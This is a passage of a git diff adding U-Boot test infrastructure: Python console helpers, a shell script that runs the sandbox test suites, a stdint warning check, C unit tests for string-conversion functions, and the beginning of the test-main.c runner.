+
+ def __exit__(self, extype, value, traceback):
+ if extype:
+ try:
+ pathlib.Path(self.filename).unlink()
+ except Exception:
+ pass
+ return
+ logged = False
+ for _ in range(20):
+ filename_timestamp = os.path.getmtime(self.filename)
+ if filename_timestamp > self.module_timestamp:
+ break
+ if not logged:
+ self.log.action(
+ 'Waiting for generated file timestamp to increase')
+ logged = True
+ os.utime(self.filename)
+ time.sleep(0.1)
+
+def persistent_file_helper(u_boot_log, filename):
+ """Manage the timestamps and regeneration of a persistent generated
+ file. This function creates a context manager for Python's "with"
+ statement
+
+ Usage:
+ with persistent_file_helper(u_boot_console.log, filename):
+ code to generate the file, if it's missing.
+
+ Args:
+ u_boot_log: u_boot_console.log.
+ filename: The filename of the generated file.
+
+ Returns:
+ A context manager object.
+ """
+
+ return PersistentFileHelperCtxMgr(u_boot_log, filename)
+
+def crc32(u_boot_console, address, count):
+ """Helper function used to compute the CRC32 value of a section of RAM.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ address: Address where data starts.
+ count: Amount of data to use for calculation.
+
+ Returns:
+ CRC32 value
+ """
+
+ bcfg = u_boot_console.config.buildconfig
+ has_cmd_crc32 = bcfg.get('config_cmd_crc32', 'n') == 'y'
+ assert has_cmd_crc32, 'Cannot compute crc32 without CONFIG_CMD_CRC32.'
+ output = u_boot_console.run_command('crc32 %08x %x' % (address, count))
+
+ m = re.search('==> ([0-9a-fA-F]{8})$', output)
+ assert m, 'CRC32 operation failed.'
+
+ return m.group(1)
+
+def waitpid(pid, timeout=60, kill=False):
+ """Wait a process to terminate by its PID
+
+ This is an alternative to a os.waitpid(pid, 0) call that works on
+ processes that aren't children of the python process.
+
+ Args:
+ pid: PID of a running process.
+ timeout: Time in seconds to wait.
+ kill: Whether to forcibly kill the process after timeout.
+
+ Returns:
+ True, if the process ended on its own.
+ False, if the process was killed by this function.
+
+ Raises:
+ TimeoutError, if the process is still running after timeout.
+ """
+ try:
+ for _ in range(timeout):
+ os.kill(pid, 0)
+ time.sleep(1)
+
+ if kill:
+ os.kill(pid, signal.SIGKILL)
+ return False
+
+ except ProcessLookupError:
+ return True
+
+ raise TimeoutError(
+ "Process with PID {} did not terminate after {} seconds."
+ .format(pid, timeout)
+ )
diff --git a/test/run b/test/run
new file mode 100755
index 00000000000..768b22577c4
--- /dev/null
+++ b/test/run
@@ -0,0 +1,107 @@
+#!/bin/bash
+
+# Script to run all U-Boot tests that use sandbox.
+# $1: tests to run (empty for all, 'quick' for quick ones only)
+
+# Runs a test and checks the exit code to decide if it passed
+# $1: Test name
+# $2 onwards: command line to run
+run_test() {
+ echo -n "$1: "
+ shift
+ "$@"
+ [ $? -ne 0 ] && failures=$((failures+1))
+}
+
+# Select test attributes
+ut_mark_expr=test_ut
+if [ "$1" = "quick" ]; then
+ mark_expr="not slow"
+ ut_mark_expr="test_ut and not slow"
+ skip=--skip-net-tests
+fi
+
+[ "$1" == "tools" ] && tools_only=y
+
+if [ "$1" = "parallel" ]; then
+ if ! echo 'import xdist' | python3 2>/dev/null; then
+ echo "Please install python3-pytest-xdist - see doc/develop/py_testing.rst"
+ exit 1
+ fi
+ jobs="$(($(nproc) > 16 ? 16 : $(nproc)))"
+ para="-n${jobs} -q"
+ prompt="Building and..."
+ skip=--skip-net-tests
+ mark_expr="not slow and not bootstd and not spi_flash"
+ ut_mark_expr="test_ut and not slow and not bootstd and not spi_flash"
+ echo "Note: test log is garbled with parallel tests"
+fi
+
+failures=0
+
+if [ -z "$tools_only" ]; then
+ # Run all tests that the standard sandbox build can support
+ echo "${prompt}"
+ run_test "sandbox" ./test/py/test.py --bd sandbox --build ${para} \
+ -k "${mark_expr}"
+fi
+
+# Run tests which require sandbox_spl
+echo "${prompt}"
+run_test "sandbox_spl" ./test/py/test.py --bd sandbox_spl --build ${para} \
+ -k 'test_ofplatdata or test_handoff or test_spl'
+
+# Run the same tests with sandbox_noinst (i.e. without OF_PLATDATA_INST)
+echo "${prompt}"
+run_test "sandbox_noinst" ./test/py/test.py --bd sandbox_noinst --build ${para} \
+ -k 'test_ofplatdata or test_handoff or test_spl'
+
+# Run tests which require sandbox_vpl
+echo "${prompt}"
+run_test "sandbox_vpl" ./test/py/test.py --bd sandbox_vpl --build ${para} \
+ -k 'vpl or test_spl'
+
+if [ -z "$tools_only" ]; then
+ # Run tests for the flat-device-tree version of sandbox. This is a special
+ # build which does not enable CONFIG_OF_LIVE for the live device tree, so we can
+ # check that functionality is the same. The standard sandbox build (above) uses
+ # CONFIG_OF_LIVE.
+ echo "${prompt}"
+ run_test "sandbox_flattree" ./test/py/test.py --bd sandbox_flattree \
+ ${para} --build -k "${ut_mark_expr}"
+fi
+
+# Set up a path to dtc (device-tree compiler) and libfdt.py, a library it
+# provides and which is built by the sandbox_spl config. Also set up the path
+# to tools build by the build.
+DTC_DIR=build-sandbox_spl/scripts/dtc
+export PYTHONPATH=${DTC_DIR}/pylibfdt
+export DTC=${DTC_DIR}/dtc
+TOOLS_DIR=build-sandbox_spl/tools
+
+run_test "binman" ./tools/binman/binman --toolpath ${TOOLS_DIR} test
+run_test "patman" ./tools/patman/patman test
+run_test "u_boot_pylib" ./tools/u_boot_pylib/u_boot_pylib
+
+run_test "buildman" ./tools/buildman/buildman -t ${skip}
+run_test "fdt" ./tools/dtoc/test_fdt -t
+run_test "dtoc" ./tools/dtoc/dtoc -t
+
+# This needs you to set up Python test coverage tools.
+# To enable Python test coverage on Debian-type distributions (e.g. Ubuntu):
+# $ sudo apt-get install python-pytest python-coverage
+
+# Code-coverage tests cannot run in parallel, so skip them in that case
+if [ -z "${para}" ]; then
+ export PATH=$PATH:${TOOLS_DIR}
+ run_test "binman code coverage" ./tools/binman/binman test -T
+ run_test "dtoc code coverage" ./tools/dtoc/dtoc -T
+ run_test "fdt code coverage" ./tools/dtoc/test_fdt -T
+fi
+
+if [ $failures == 0 ]; then
+ echo "Tests passed!"
+else
+ echo "Tests FAILED"
+ exit 1
+fi
diff --git a/test/stdint/int-types.c b/test/stdint/int-types.c
new file mode 100644
index 00000000000..9051e32c7ce
--- /dev/null
+++ b/test/stdint/int-types.c
@@ -0,0 +1,12 @@
+#include <linux/types.h>
+
+int test_types(void)
+{
+ uintptr_t uintptr = 0;
+ uint64_t uint64 = 0;
+ u64 u64_val = 0;
+
+ printf("uintptr = %lu\n", uintptr);
+ printf("uint64 = %llu\n", uint64);
+ printf("u64 = %llu\n", u64_val);
+}
diff --git a/test/stdint/test-includes.sh b/test/stdint/test-includes.sh
new file mode 100755
index 00000000000..1db8515e82f
--- /dev/null
+++ b/test/stdint/test-includes.sh
@@ -0,0 +1,56 @@
+#!/bin/bash
+
+# Test script to check uintptr_t and 64-bit types for warnings
+#
+# It builds a few boards with different toolchains. If there are no warnings
+# then all is well.
+#
+# Usage:
+#
+# Make sure that your toolchains are correct at the bottom of this file
+#
+# Then:
+# ./test/stdint/test-includes.sh
+
+out=/tmp/test-includes.tmp
+
+try_test() {
+ local board=$1
+ local arch=$2
+ local soc=$3
+ local gcc=$4
+ local flags="$5"
+
+ echo $@
+ if ! which ${gcc} >/dev/null 2>&1; then
+ echo "Not found: ${gcc}"
+ return
+ fi
+
+ rm -rf ${out}
+ mkdir -p ${out}
+ touch ${out}/config.h
+ mkdir -p ${out}/generated
+ touch ${out}/generated/generic-asm-offsets.h
+ mkdir -p ${out}/include/asm
+ ln -s $(pwd)/arch/${arch}/include/asm/arch-${soc} \
+ ${out}/include/asm/arch
+
+ cmd="${gcc} -c -D__KERNEL__ ${flags} \
+ -fno-builtin -ffreestanding \
+ -Iarch/${arch}/include \
+ -Iinclude \
+ -I${out} -I${out}/include \
+ -include configs/${board}.h test/stdint/int-types.c \
+ -o /dev/null"
+ $cmd
+}
+
+try_both() {
+ try_test $@
+}
+
+# board arch soc path-to-gcc
+try_both sandbox sandbox - gcc
+try_both coreboot x86 - x86_64-linux-gnu-gcc
+try_both seaboard arm tegra20 /opt/linaro/gcc-linaro-arm-linux-gnueabihf-4.8-2013.08_linux/bin/arm-linux-gnueabihf-gcc
diff --git a/test/str_ut.c b/test/str_ut.c
new file mode 100644
index 00000000000..389779859a3
--- /dev/null
+++ b/test/str_ut.c
@@ -0,0 +1,364 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2020 Google LLC
+ */
+
+#include <vsprintf.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* This is large enough for any of the test strings */
+#define TEST_STR_SIZE 200
+
+static const char str1[] = "I'm sorry I'm late.";
+static const char str2[] = "1099abNo, don't bother apologising.";
+static const char str3[] = "0xbI'm sorry you're alive.";
+static const char str4[] = "1234567890123 I lost closer friends";
+static const char str5[] = "0x9876543210the last time I was deloused";
+static const char str6[] = "0778octal is seldom used";
+static const char str7[] = "707it is a piece of computing history";
+
+/* Declare a new str test */
+#define STR_TEST(_name, _flags) UNIT_TEST(_name, _flags, str_test)
+
+static int str_upper(struct unit_test_state *uts)
+{
+ char out[TEST_STR_SIZE];
+
+ /* Make sure it adds a terminator */
+ out[strlen(str1)] = 'a';
+ str_to_upper(str1, out, SIZE_MAX);
+ ut_asserteq_str("I'M SORRY I'M LATE.", out);
+
+ /* In-place operation */
+ strcpy(out, str2);
+ str_to_upper(out, out, SIZE_MAX);
+ ut_asserteq_str("1099ABNO, DON'T BOTHER APOLOGISING.", out);
+
+ /* Limited length */
+ str_to_upper(str1, out, 7);
+ ut_asserteq_str("I'M SORO, DON'T BOTHER APOLOGISING.", out);
+
+ /* In-place with limited length */
+ strcpy(out, str2);
+ str_to_upper(out, out, 7);
+ ut_asserteq_str("1099ABNo, don't bother apologising.", out);
+
+ /* Copy an empty string to a buffer with space*/
+ out[1] = 0x7f;
+ str_to_upper("", out, SIZE_MAX);
+ ut_asserteq('\0', *out);
+ ut_asserteq(0x7f, out[1]);
+
+ /* Copy an empty string to a buffer with no space*/
+ out[0] = 0x7f;
+ str_to_upper("", out, 0);
+ ut_asserteq(0x7f, out[0]);
+
+ return 0;
+}
+STR_TEST(str_upper, 0);
+
+static int run_strtoul(struct unit_test_state *uts, const char *str, int base,
+ ulong expect_val, int expect_endp_offset, bool upper)
+{
+ char out[TEST_STR_SIZE];
+ char *endp;
+ ulong val;
+
+ strcpy(out, str);
+ if (upper)
+ str_to_upper(out, out, -1);
+
+ val = simple_strtoul(out, &endp, base);
+ ut_asserteq(expect_val, val);
+ ut_asserteq(expect_endp_offset, endp - out);
+
+ return 0;
+}
+
+static int str_simple_strtoul(struct unit_test_state *uts)
+{
+ int upper;
+
+ /* Check that it is case-insentive */
+ for (upper = 0; upper < 2; upper++) {
+ /* Base 10 and base 16 */
+ ut_assertok(run_strtoul(uts, str2, 10, 1099, 4, upper));
+ ut_assertok(run_strtoul(uts, str2, 16, 0x1099ab, 6, upper));
+ ut_assertok(run_strtoul(uts, str3, 16, 0xb, 3, upper));
+ ut_assertok(run_strtoul(uts, str3, 10, 0xb, 3, upper));
+
+ /* Octal */
+ ut_assertok(run_strtoul(uts, str6, 0, 63, 3, upper));
+ ut_assertok(run_strtoul(uts, str7, 8, 0x1c7, 3, upper));
+
+ /* Invalid string */
+ ut_assertok(run_strtoul(uts, str1, 10, 0, 0, upper));
+
+ /* Base 0 */
+ ut_assertok(run_strtoul(uts, str1, 0, 0, 0, upper));
+ ut_assertok(run_strtoul(uts, str2, 0, 1099, 4, upper));
+ ut_assertok(run_strtoul(uts, str3, 0, 0xb, 3, upper));
+
+ /* Base 2 */
+ ut_assertok(run_strtoul(uts, str1, 2, 0, 0, upper));
+ ut_assertok(run_strtoul(uts, str2, 2, 2, 2, upper));
+ }
+
+ /* Check endp being NULL */
+ ut_asserteq(1099, simple_strtoul(str2, NULL, 0));
+
+ return 0;
+}
+STR_TEST(str_simple_strtoul, 0);
+
+static int run_strtoull(struct unit_test_state *uts, const char *str, int base,
+ unsigned long long expect_val, int expect_endp_offset,
+ bool upper)
+{
+ char out[TEST_STR_SIZE];
+ char *endp;
+ unsigned long long val;
+
+ strcpy(out, str);
+ if (upper)
+ str_to_upper(out, out, -1);
+
+ val = simple_strtoull(out, &endp, base);
+ ut_asserteq(expect_val, val);
+ ut_asserteq(expect_endp_offset, endp - out);
+
+ return 0;
+}
+
+static int str_simple_strtoull(struct unit_test_state *uts)
+{
+ int upper;
+
+ /* Check that it is case-insentive */
+ for (upper = 0; upper < 2; upper++) {
+ /* Base 10 and base 16 */
+ ut_assertok(run_strtoull(uts, str2, 10, 1099, 4, upper));
+ ut_assertok(run_strtoull(uts, str2, 16, 0x1099ab, 6, upper));
+ ut_assertok(run_strtoull(uts, str3, 16, 0xb, 3, upper));
+ ut_assertok(run_strtoull(uts, str3, 10, 0xb, 3, upper));
+
+ /* Octal */
+ ut_assertok(run_strtoull(uts, str6, 0, 63, 3, upper));
+ ut_assertok(run_strtoull(uts, str7, 8, 0x1c7, 3, upper));
+
+ /* Large values */
+ ut_assertok(run_strtoull(uts, str4, 10, 1234567890123, 13,
+ upper));
+ ut_assertok(run_strtoull(uts, str4, 16, 0x1234567890123, 13,
+ upper));
+ ut_assertok(run_strtoull(uts, str5, 0, 0x9876543210, 12,
+ upper));
+
+ /* Invalid string */
+ ut_assertok(run_strtoull(uts, str1, 10, 0, 0, upper));
+
+ /* Base 0 */
+ ut_assertok(run_strtoull(uts, str1, 0, 0, 0, upper));
+ ut_assertok(run_strtoull(uts, str2, 0, 1099, 4, upper));
+ ut_assertok(run_strtoull(uts, str3, 0, 0xb, 3, upper));
+
+ /* Base 2 */
+ ut_assertok(run_strtoull(uts, str1, 2, 0, 0, upper));
+ ut_assertok(run_strtoull(uts, str2, 2, 2, 2, upper));
+ }
+
+ /* Check endp being NULL */
+ ut_asserteq(1099, simple_strtoull(str2, NULL, 0));
+
+ return 0;
+}
+STR_TEST(str_simple_strtoull, 0);
+
+static int str_hextoul(struct unit_test_state *uts)
+{
+ char *endp;
+
+ /* Just a simple test, since we know this uses simple_strtoul() */
+ ut_asserteq(0x1099ab, hextoul(str2, &endp));
+ ut_asserteq(6, endp - str2);
+
+ return 0;
+}
+STR_TEST(str_hextoul, 0);
+
+static int str_dectoul(struct unit_test_state *uts)
+{
+ char *endp;
+
+ /* Just a simple test, since we know this uses simple_strtoul() */
+ ut_asserteq(1099, dectoul(str2, &endp));
+ ut_asserteq(4, endp - str2);
+
+ return 0;
+}
+STR_TEST(str_dectoul, 0);
+
+static int str_itoa(struct unit_test_state *uts)
+{
+ ut_asserteq_str("123", simple_itoa(123));
+ ut_asserteq_str("0", simple_itoa(0));
+ ut_asserteq_str("2147483647", simple_itoa(0x7fffffff));
+ ut_asserteq_str("4294967295", simple_itoa(0xffffffff));
+
+ /* Use #ifdef here to avoid a compiler warning on 32-bit machines */
+#ifdef CONFIG_PHYS_64BIT
+ if (sizeof(ulong) == 8) {
+ ut_asserteq_str("9223372036854775807",
+ simple_itoa((1UL << 63) - 1));
+ ut_asserteq_str("18446744073709551615", simple_itoa(-1));
+ }
+#endif /* CONFIG_PHYS_64BIT */
+
+ return 0;
+}
+STR_TEST(str_itoa, 0);
+
+static int str_xtoa(struct unit_test_state *uts)
+{
+ ut_asserteq_str("7f", simple_xtoa(127));
+ ut_asserteq_str("00", simple_xtoa(0));
+ ut_asserteq_str("7fffffff", simple_xtoa(0x7fffffff));
+ ut_asserteq_str("ffffffff", simple_xtoa(0xffffffff));
+
+ /* Use #ifdef here to avoid a compiler warning on 32-bit machines */
+#ifdef CONFIG_PHYS_64BIT
+ if (sizeof(ulong) == 8) {
+ ut_asserteq_str("7fffffffffffffff",
+ simple_xtoa((1UL << 63) - 1));
+ ut_asserteq_str("ffffffffffffffff", simple_xtoa(-1));
+ }
+#endif /* CONFIG_PHYS_64BIT */
+
+ return 0;
+}
+STR_TEST(str_xtoa, 0);
+
+static int str_trailing(struct unit_test_state *uts)
+{
+ const char str1[] = "abc123def";
+ const char str2[] = "abc123def456";
+ const char *end;
+
+ ut_asserteq(-1, trailing_strtol(""));
+ ut_asserteq(-1, trailing_strtol("123"));
+ ut_asserteq(123, trailing_strtol("abc123"));
+ ut_asserteq(4, trailing_strtol("12c4"));
+ ut_asserteq(-1, trailing_strtol("abd"));
+ ut_asserteq(-1, trailing_strtol("abc123def"));
+
+ ut_asserteq(-1, trailing_strtoln(str1, NULL));
+ ut_asserteq(123, trailing_strtoln(str1, str1 + 6));
+ ut_asserteq(-1, trailing_strtoln(str1, str1 + 9));
+
+ ut_asserteq(3, trailing_strtol("a3"));
+
+ ut_asserteq(123, trailing_strtoln_end(str1, str1 + 6, &end));
+ ut_asserteq(3, end - str1);
+
+ ut_asserteq(-1, trailing_strtoln_end(str1, str1 + 7, &end));
+ ut_asserteq(7, end - str1);
+
+ ut_asserteq(456, trailing_strtoln_end(str2, NULL, &end));
+ ut_asserteq(9, end - str2);
+
+ return 0;
+}
+STR_TEST(str_trailing, 0);
+
+static int test_str_to_list(struct unit_test_state *uts)
+{
+ const char **ptr;
+ ulong start;
+
+ /* check out of memory */
+ start = ut_check_delta(0);
+ malloc_enable_testing(0);
+ ut_assertnull(str_to_list(""));
+ ut_assertok(ut_check_delta(start));
+
+ ut_assertnull(str_to_list("this is a test"));
+ ut_assertok(ut_check_delta(start));
+
+ malloc_enable_testing(1);
+ ut_assertnull(str_to_list("this is a test"));
+ ut_assertok(ut_check_delta(start));
+
+ /* for an empty string, only one nalloc is needed */
+ malloc_enable_testing(1);
+ ptr = str_to_list("");
+ ut_assertnonnull(ptr);
+ ut_assertnull(ptr[0]);
+ str_free_list(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ malloc_disable_testing();
+
+ /* test the same again, without any nalloc restrictions */
+ ptr = str_to_list("");
+ ut_assertnonnull(ptr);
+ ut_assertnull(ptr[0]);
+ str_free_list(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* test a single string */
+ start = ut_check_delta(0);
+ ptr = str_to_list("hi");
+ ut_assertnonnull(ptr);
+ ut_assertnonnull(ptr[0]);
+ ut_asserteq_str("hi", ptr[0]);
+ ut_assertnull(ptr[1]);
+ str_free_list(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* test two strings */
+ ptr = str_to_list("hi there");
+ ut_assertnonnull(ptr);
+ ut_assertnonnull(ptr[0]);
+ ut_asserteq_str("hi", ptr[0]);
+ ut_assertnonnull(ptr[1]);
+ ut_asserteq_str("there", ptr[1]);
+ ut_assertnull(ptr[2]);
+ str_free_list(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* test leading, trailing and multiple spaces */
+ ptr = str_to_list(" more space ");
+ ut_assertnonnull(ptr);
+ ut_assertnonnull(ptr[0]);
+ ut_asserteq_str("", ptr[0]);
+ ut_assertnonnull(ptr[1]);
+ ut_asserteq_str("more", ptr[1]);
+ ut_assertnonnull(ptr[2]);
+ ut_asserteq_str("", ptr[2]);
+ ut_assertnonnull(ptr[3]);
+ ut_asserteq_str("space", ptr[3]);
+ ut_assertnonnull(ptr[4]);
+ ut_asserteq_str("", ptr[4]);
+ ut_assertnonnull(ptr[5]);
+ ut_asserteq_str("", ptr[5]);
+ ut_assertnull(ptr[6]);
+ str_free_list(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* test freeing a NULL pointer */
+ str_free_list(NULL);
+
+ return 0;
+}
+STR_TEST(test_str_to_list, 0);
+
+int do_ut_str(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(str_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(str_test);
+
+ return cmd_ut_category("str", "str_", tests, n_ents, argc, argv);
+}
diff --git a/test/test-main.c b/test/test-main.c
new file mode 100644
index 00000000000..3fa6f6e32ec
--- /dev/null
+++ b/test/test-main.c
@@ -0,0 +1,652 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <blk.h>
+#include <console.h>
+#include <cyclic.h>
+#include <dm.h>
+#include <event.h>
+#include <net.h>
+#include <of_live.h>
+#include <os.h>
+#include <dm/ofnode.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <u-boot/crc.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/**
+ * enum fdtchk_t - what to do with the device tree (gd->fdt_blob)
+ *
+ * This affects what happens with the device tree before and after a test
+ *
+ * @FDTCHK_NONE: Do nothing
+ * @FDTCHK_CHECKSUM: Take a checksum of the FDT before the test runs and
+ * compare it afterwards to detect any changes
+ * @FDTCHK_COPY: Make a copy of the FDT and restore it afterwards
+ */
+enum fdtchk_t {
+ FDTCHK_NONE,
+ FDTCHK_CHECKSUM,
+ FDTCHK_COPY,
+};
+
+/**
+ * fdt_action() - get the required action for the FDT
+ *
+ * @return the action that should be taken for this build
+ */
+static enum fdtchk_t fdt_action(void)
+{
+ /* For sandbox SPL builds, do nothing */
+ if (IS_ENABLED(CONFIG_SANDBOX) && IS_ENABLED(CONFIG_SPL_BUILD))
+ return FDTCHK_NONE;
+
+ /* Do a copy for sandbox (but only the U-Boot build, not SPL) */
+ if (IS_ENABLED(CONFIG_SANDBOX))
+ return FDTCHK_COPY;
+
+ /* For all other boards, do a checksum */
+ return FDTCHK_CHECKSUM;
+}
+
+/* This is valid when a test is running, NULL otherwise */
+static struct unit_test_state *cur_test_state;
+
+struct unit_test_state *test_get_state(void)
+{
+ return cur_test_state;
+}
+
+void test_set_state(struct unit_test_state *uts)
+{
+ cur_test_state = uts;
+}
+
+/**
+ * dm_test_pre_run() - Get ready to run a driver model test
+ *
+ * This clears out the driver model data structures. For sandbox it resets the
+ * state structure
+ *
+ * @uts: Test state
+ */
+static int dm_test_pre_run(struct unit_test_state *uts)
+{
+ bool of_live = uts->of_live;
+
+ if (of_live && (gd->flags & GD_FLG_FDT_CHANGED)) {
+ printf("Cannot run live tree test as device tree changed\n");
+ return -EFAULT;
+ }
+ uts->root = NULL;
+ uts->testdev = NULL;
+ uts->force_fail_alloc = false;
+ uts->skip_post_probe = false;
+ if (fdt_action() == FDTCHK_CHECKSUM)
+ uts->fdt_chksum = crc8(0, gd->fdt_blob,
+ fdt_totalsize(gd->fdt_blob));
+ gd->dm_root = NULL;
+ malloc_disable_testing();
+ if (CONFIG_IS_ENABLED(UT_DM) && !CONFIG_IS_ENABLED(OF_PLATDATA))
+ memset(dm_testdrv_op_count, '\0', sizeof(dm_testdrv_op_count));
+ arch_reset_for_test();
+
+ /* Determine whether to make the live tree available */
+ gd_set_of_root(of_live ? uts->of_root : NULL);
+ oftree_reset();
+ ut_assertok(dm_init(of_live));
+ uts->root = dm_root();
+
+ return 0;
+}
+
+static int dm_test_post_run(struct unit_test_state *uts)
+{
+ int id;
+
+ if (gd->fdt_blob) {
+ switch (fdt_action()) {
+ case FDTCHK_COPY:
+ memcpy((void *)gd->fdt_blob, uts->fdt_copy, uts->fdt_size);
+ break;
+ case FDTCHK_CHECKSUM: {
+ uint chksum;
+
+ chksum = crc8(0, gd->fdt_blob, fdt_totalsize(gd->fdt_blob));
+ if (chksum != uts->fdt_chksum) {
+ /*
+ * We cannot run any more tests that need the
+ * live tree, since its strings point into the
+ * flat tree, which has changed. This likely
+ * means that at least some of the pointers from
+ * the live tree point to different things
+ */
+ printf("Device tree changed: cannot run live tree tests\n");
+ gd->flags |= GD_FLG_FDT_CHANGED;
+ }
+ break;
+ }
+ case FDTCHK_NONE:
+ break;
+ }
+ }
+
+ /*
+ * With of-platdata-inst the uclasses are created at build time. If we
+ * destroy them we cannot get them back since uclass_add() is not
+ * supported. So skip this.
+ */
+ if (!CONFIG_IS_ENABLED(OF_PLATDATA_INST)) {
+ for (id = 0; id < UCLASS_COUNT; id++) {
+ struct uclass *uc;
+
+ /*
+ * If the uclass doesn't exist we don't want to create
+ * it. So check that here before we call
+ * uclass_find_device().
+ */
+ uc = uclass_find(id);
+ if (!uc)
+ continue;
+ ut_assertok(uclass_destroy(uc));
+ }
+ }
+
+ return 0;
+}
+
+/* Ensure all the test devices are probed */
+static int do_autoprobe(struct unit_test_state *uts)
+{
+ return uclass_probe_all(UCLASS_TEST);
+}
+
+/*
+ * ut_test_run_on_flattree() - Check if we should run a test with flat DT
+ *
+ * This skips long/slow tests where there is not much value in running a flat
+ * DT test in addition to a live DT test.
+ *
+ * Return: true to run the given test on the flat device tree
+ */
+static bool ut_test_run_on_flattree(struct unit_test *test)
+{
+ const char *fname = strrchr(test->file, '/') + 1;
+
+ if (!(test->flags & UT_TESTF_DM))
+ return false;
+
+ return !strstr(fname, "video") || strstr(test->name, "video_base");
+}
+
+/**
+ * test_matches() - Check if a test should be run
+ *
+ * This checks if the a test should be run. In the normal case of running all
+ * tests, @select_name is NULL.
+ *
+ * @prefix: String prefix for the tests. Any tests that have this prefix will be
+ * printed without the prefix, so that it is easier to see the unique part
+ * of the test name. If NULL, any suite name (xxx_test) is considered to be
+ * a prefix.
+ * @test_name: Name of current test
+ * @select_name: Name of test to run (or NULL for all)
+ * Return: true to run this test, false to skip it
+ */
+static bool test_matches(const char *prefix, const char *test_name,
+ const char *select_name)
+{
+ size_t len;
+
+ if (!select_name)
+ return true;
+
+ /* Allow glob expansion in the test name */
+ len = select_name[strlen(select_name) - 1] == '*' ? strlen(select_name) : 0;
+ if (len-- == 1)
+ return true;
+
+ if (!strncmp(test_name, select_name, len))
+ return true;
+
+ if (prefix) {
+ /* All tests have this prefix */
+ if (!strncmp(test_name, prefix, strlen(prefix)))
+ test_name += strlen(prefix);
+ } else {
+ const char *p = strstr(test_name, "_test_");
+
+ /* convert xxx_test_yyy to yyy, i.e. remove the suite name */
+ if (p)
+ test_name = p + strlen("_test_");
+ }
+
+ if (!strncmp(test_name, select_name, len))
+ return true;
+
+ return false;
+}
+
+/**
+ * ut_list_has_dm_tests() - Check if a list of tests has driver model ones
+ *
+ * @tests: List of tests to run
+ * @count: Number of tests to ru
+ * Return: true if any of the tests have the UT_TESTF_DM flag
+ */
+static bool ut_list_has_dm_tests(struct unit_test *tests, int count)
+{
+ struct unit_test *test;
+
+ for (test = tests; test < tests + count; test++) {
+ if (test->flags & UT_TESTF_DM)
+ return true;
+ }
+
+ return false;
+}
+
+/**
+ * dm_test_restore() Put things back to normal so sandbox works as expected
+ *
+ * @of_root: Value to set for of_root
+ * Return: 0 if OK, -ve on error
+ */
+static int dm_test_restore(struct device_node *of_root)
+{
+ int ret;
+
+ gd_set_of_root(of_root);
+ gd->dm_root = NULL;
+ ret = dm_init(CONFIG_IS_ENABLED(OF_LIVE));
+ if (ret)
+ return ret;
+ dm_scan_plat(false);
+ if (!CONFIG_IS_ENABLED(OF_PLATDATA))
+ dm_extended_scan(false);
+
+ return 0;
+}
+
+/**
+ * test_pre_run() - Handle any preparation needed to run a test
+ *
+ * @uts: Test state
+ * @test: Test to prepare for
+ * Return: 0 if OK, -EAGAIN to skip this test since some required feature is not
+ * available, other -ve on error (meaning that testing cannot likely
+ * continue)
+ */
+static int test_pre_run(struct unit_test_state *uts, struct unit_test *test)
+{
+ ut_assertok(event_init());
+
+ if (test->flags & UT_TESTF_DM)
+ ut_assertok(dm_test_pre_run(uts));
+
+ ut_set_skip_delays(uts, false);
+
+ uts->start = mallinfo();
+
+ if (test->flags & UT_TESTF_SCAN_PDATA)
+ ut_assertok(dm_scan_plat(false));
+
+ if (test->flags & UT_TESTF_PROBE_TEST)
+ ut_assertok(do_autoprobe(uts));
+
+ if (CONFIG_IS_ENABLED(OF_REAL) &&
+ (test->flags & UT_TESTF_SCAN_FDT)) {
+ /*
+ * only set this if we know the ethernet uclass will be created
+ */
+ eth_set_enable_bootdevs(test->flags & UT_TESTF_ETH_BOOTDEV);
+ test_sf_set_enable_bootdevs(test->flags & UT_TESTF_SF_BOOTDEV);
+ ut_assertok(dm_extended_scan(false));
+ }
+
+ /*
+ * Do this after FDT scan since dm_scan_other() in bootstd-uclass.c
+ * checks for the existence of bootstd
+ */
+ if (test->flags & UT_TESTF_SCAN_PDATA)
+ ut_assertok(dm_scan_other(false));
+
+ if (IS_ENABLED(CONFIG_SANDBOX) && (test->flags & UT_TESTF_OTHER_FDT)) {
+ /* make sure the other FDT is available */
+ ut_assertok(test_load_other_fdt(uts));
+
+ /*
+ * create a new live tree with it for every test, in case a
+ * test modifies the tree
+ */
+ if (of_live_active()) {
+ ut_assertok(unflatten_device_tree(uts->other_fdt,
+ &uts->of_other));
+ }
+ }
+
+ if (test->flags & UT_TESTF_CONSOLE_REC) {
+ int ret = console_record_reset_enable();
+
+ if (ret) {
+ printf("Skipping: Console recording disabled\n");
+ return -EAGAIN;
+ }
+ }
+ ut_silence_console(uts);
+
+ return 0;
+}
+
+/**
+ * test_post_run() - Handle cleaning up after a test
+ *
+ * @uts: Test state
+ * @test: Test to clean up after
+ * Return: 0 if OK, -ve on error (meaning that testing cannot likely continue)
+ */
+static int test_post_run(struct unit_test_state *uts, struct unit_test *test)
+{
+ ut_unsilence_console(uts);
+ if (test->flags & UT_TESTF_DM)
+ ut_assertok(dm_test_post_run(uts));
+ ut_assertok(cyclic_unregister_all());
+ ut_assertok(event_uninit());
+
+ free(uts->of_other);
+ uts->of_other = NULL;
+
+ blkcache_free();
+
+ return 0;
+}
+
+/**
+ * skip_test() - Handle skipping a test
+ *
+ * @uts: Test state to update
+ * @return -EAGAIN (always)
+ */
+static int skip_test(struct unit_test_state *uts)
+{
+ uts->skip_count++;
+
+ return -EAGAIN;
+}
+
+/**
+ * ut_run_test() - Run a single test
+ *
+ * This runs the test, handling any preparation and clean-up needed. It prints
+ * the name of each test before running it.
+ *
